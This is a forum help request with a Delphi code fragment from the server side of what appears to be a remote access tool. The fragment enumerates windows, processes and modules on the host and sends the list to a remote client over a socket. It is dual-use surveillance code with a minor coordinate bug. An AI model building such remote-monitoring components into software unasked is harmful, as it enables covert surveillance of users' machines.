Hi, i was working with insitution, but i cant get Process list working...i debuged the code and the problem is on server side...i know too thats the code stops at " EnumWindows(@GetWindows, longint(SyncLists));"
Maybe the problem is on GetWindow function???
Any help?Code:procedure ParseProcessManager(Thread: TThread; Socket: TClientSocket; Frame: TCommandFrame; Stream: TMemoryStream); type TWindowListing = record PID: dword; Hwnd: dword; Text: array [0..MAX_PATH] of char; ClassName: array [0..MAX_PATH] of char; Rect: array [0..3] of dword; Visible: byte; end; PWindowListing = ^TWindowListing; var Process32: TProcessEntry32; Module32: TModuleEntry32; ProcessSnapshot: THandle; ModuleSnapshot: THandle; ProcessList: TMemoryStream; PID: dword; Address, Size: dword; ProcessDump: TMemoryStream; Buffer: array [0..4095] of char; Process: THandle; BytesToRead, BytesRead: dword; SyncLists: TSyncLists; HandleList: TList; WindowList: TList; WindowLoop: integer; function GetWindows(Handle: HWND; Info: Pointer): BOOL; stdcall; var sCap : array [0..255] of char; Rect: TRect; PID: dword; WindowListing: PWindowListing; SyncLists: TSyncLists; HandleList: TList; WindowList: TList; begin Result := True; SyncLists := Info; HandleList := SyncLists.HandleList; WindowList := SyncLists.WindowList; if HandleList.IndexOf(pointer(Handle)) = -1 then HandleList.Add(pointer(Handle)) else Exit; WindowListing := new(PWindowListing); GetWindowThreadProcessId(Handle, PID); WindowListing.PID := PID; WindowListing.Hwnd := Handle; GetWindowText(Handle, @sCap, sizeof(sCap)); CopyMemory(@WindowListing.Text, @sCap, MAX_PATH + 1); GetClassName(Handle, @sCap, sizeof(sCap)); CopyMemory(@WindowListing.ClassName, @sCap, MAX_PATH + 1); GetWindowRect(Handle, Rect); WindowListing.Rect[0] := Rect.TopLeft.X; WindowListing.Rect[1] := Rect.TopLeft.X; WindowListing.Rect[2] := Rect.BottomRight.X; WindowListing.Rect[3] := Rect.BottomRight.Y; if IsWindowVisible(Handle) then WindowListing.Visible := 1 else WindowListing.Visible := 0; WindowList.Add(WindowListing); EnumChildWindows(Handle, @GetWindows, longint(Info)); end; begin case Frame.Command of P_LIST: begin Sleep(100); WindowList := TList.Create; HandleList := TList.Create; SyncLists := TSyncLists.Create; SyncLists.HandleList := HandleList; SyncLists.WindowList := WindowList; EnumWindows(@GetWindows, longint(SyncLists)); //code stops here!! ProcessList := TMemoryStream.Create; Frame.Len := 0; Frame.Command := P_LOCK; ProcessList.WriteBuffer(Frame, SizeOf(TCommandFrame)); ProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0); Process32.dwSize := SizeOf(TProcessEntry32); Process32First(ProcessSnapshot, Process32); repeat Frame.Len := SizeOf(TProcessEntry32); Frame.Command := P_LISTPROC; ProcessList.WriteBuffer(Frame, SizeOf(TCommandFrame)); ProcessList.WriteBuffer(Process32, Frame.Len); ModuleSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, Process32.th32ProcessID); Module32.dwSize := SizeOf(TModuleEntry32); Module32First(ModuleSnapshot, Module32); Frame.Len := SizeOf(TModuleEntry32); Frame.Command := P_LISTMOD; repeat ProcessList.WriteBuffer(Frame, SizeOf(TCommandFrame)); ProcessList.WriteBuffer(Module32, Frame.Len); until not (Module32Next(ModuleSnapshot, Module32)); CloseHandle(ModuleSnapshot); Frame.Len := SizeOf(TWindowListing); Frame.Command := P_LISTHWND; WindowLoop := 0; while WindowLoop < WindowList.Count do begin if PWindowListing(WindowList.Items[WindowLoop]).PID = Process32.th32ProcessID then begin ProcessList.WriteBuffer(Frame, SizeOf(TCommandFrame)); ProcessList.WriteBuffer(PWindowListing(WindowList.Items[WindowLoop])^, Frame.Len); WindowList.Delete(WindowLoop); end else begin Inc(WindowLoop); end; end; until not (Process32Next(ProcessSnapshot, Process32)); CloseHandle(ProcessSnapshot); Frame.Len := 0; Frame.Command := P_UNLOCK; ProcessList.WriteBuffer(Frame, SizeOf(TCommandFrame)); SendStream(Socket, ProcessList); ProcessList.Free; WindowList.Free; HandleList.Free; SyncLists.Free; end; [......]
Ty.


LinkBack URL
About LinkBacks
Reply With Quote